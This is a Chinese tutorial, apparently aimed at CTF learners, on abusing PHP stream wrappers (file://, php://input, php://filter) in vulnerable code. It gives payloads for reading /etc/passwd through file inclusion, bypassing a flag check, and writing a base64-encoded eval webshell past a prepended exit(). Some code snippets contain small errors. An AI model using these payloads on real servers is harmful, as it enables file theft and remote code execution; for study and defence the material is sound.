一、偽協議介紹
1.1、內容
在 PHP 中,偽協議通常指的是一種通過特定的 URL 協議方案實現某些特殊功能或行為的方式。偽協議通常并不是標準的協議(如 HTTP、HTTPS),而是由應用程序或開發者自定義的“偽”協議,用于執行某些特定任務。
1.2、各協議條件
偽協議 | allow_url_fopen | allow_url_include | 描述及用途 |
---|---|---|---|
file:// | ? 需開啟 | ? 無影響 | 訪問本地文件:file_get_contents("file:///path/to/file") |
php://input | ? 無影響 | ? 無影響 | 讀取 HTTP 請求的原始數據流(如 POST 的 body):file_get_contents("php://input") |
php://filter | ? 無影響 | ? 無影響 | 流式操作:如 Base64 編碼、解碼(結合 file:// 讀取源碼) |
http:// | ? 需開啟 | ? 需開啟 | 遠程文件訪問或 include(極不安全,建議禁用) |
https:// | ? 需開啟 | ? 需開啟 | 同上 |
ftp:// | ? 需開啟 | ? 需開啟 | FTP 訪問文件(極不安全,建議禁用) |
data:// | ? 需開啟 | ? 無影響 | 直接在腳本中內聯數據流(極不安全,建議禁用) |
zip:// | ? 無影響 | ? 無影響 | 訪問 ZIP 壓縮包中的文件(無需開啟遠程訪問) |
二、利用方式
2.1、file://
介紹:
file://
協議允許通過 PHP 函數訪問本地文件。常見函數有:
-
file_get_contents()
-
fopen()
-
include
/require
比如:
// 讀取本地文件
echo file_get_contents("file:///etc/passwd");
示例:
1、任意文件讀取
$file = $_GET['path'];
echo file_get_contents($file); // 假設某應用支持動態文件讀取http://example.com/vuln.php?path=file:///etc/passwd // payload2、本地文件包含 (LFI)
$page = $_GET['page'];
include $page; // include 動態文件http://example.com/vuln.php?page=file:///etc/passwd //payload3、執行webshell
include "file:///var/www/uploads/shell.php";
2.2、php://input
介紹:
php://input
是 PHP 中的一個偽協議,用于讀取原始的 POST 數據。與 $_POST
不同,php://input
不會經過 PHP 的解析器處理,可以獲取到未經處理的原始數據流,通常用于接收如 JSON 或 XML 格式的請求體數據。
可以訪問請求的原始數據只讀流,將POST請求中的數據作為PHP代碼執行。
示例:
后端過濾
??php
show_source(_FILE_);
include ('flag.php');$a = $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){echo "success\n";echo $flag;
}
else
{
die('no no no');
}
可以看到,如果我們想得到flag就得進入第一個判斷,那條件是什么呢?
主要就是怎么在傳參時滿足這個條件:(file_get_contents($a,'r')) === 'I want flag')
普通思路可以想我們直接輸入'I want flag'
也就是? 127.0.0.1/include.php?a=I want flag
但是這是沒有用的,因為服務器目錄中沒有'I want flag'這個文件,就算有其內容也不是'I want flag'
但是file_get_contents($a,'r')可以接收文件名,也可以接收原始數據流;并且php://input可以接收post傳參(數據流式傳遞)
當file_get_contents()接收到流式數據就不會去找文件名,直接讀取數據流內容。
所以payload:
127.0.0.1/include.php/a=php://inputI want flag //同時post傳參
2.3、php://filter
介紹:
php://filter
能對流式數據進行處理,可以結合 file_get_contents
、include
、require
、fopen
等函數,對目標文件做特定操作,比如:
-
convert.base64-encode:對文件內容進行 Base64 編碼
-
convert.base64-decode:對 Base64 內容進行解碼
-
string.strip_tags:移除 HTML 標簽
-
string.rot13:對內容進行 ROT13 加密
示例:
繞過死亡exit():
<?php
$filename=$_GET['filename'];
$content=$_GET['content'];
file_put_contents($filename,"<?php exit();".$content);
$content在開頭增加了exit過程,導致即使我們成功寫入一句話,也執行不了。那么這種情況下,如何繞過這個“死亡exit”?
思路其實也很簡單我們只要將content前面的那部分內容使用某種手段(編碼等)進行處理,導致php不能識別該部分就可以了。
這里的$_GET[‘filename’]是可以控制協議的.
payload:
?filename=php://filter/convert.base64-
decode/resource=1.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==
解析payload:
Base64編碼是使用64個可打印ASCII字符(A-Z、a-z、0-9、+、/)將任意字節序列數據編碼成ASCII字符串,另有“=”符號用作后綴用途。
base64編碼中只包含64個可打印字符,而PHP在解碼base64時,遇到不在其中的字符時,將會跳過這些字符,僅將合法字符組成一個新的字符串進行解碼
當$content被加上了<?php exit; ?>以后,我們可以使用php://filter/write=convert.base64-decode來首先對其解碼。在解碼的過程中,字符< ? ; >空格等一共有7個字符不符合base64編碼的字符范圍將被忽略,所以最終被解碼的字符僅有”phpexit”和我們傳入的其他字符。
由于,”phpexit”一共7個字符,但是base64算法解碼時是4個byte一組,所以我們可以隨便再給他添加一個字符。這樣前邊的phpexit加上另一個字符就會被base64解碼,然后后邊的我們精心構造的base64字符串也會被成功解碼為php代碼。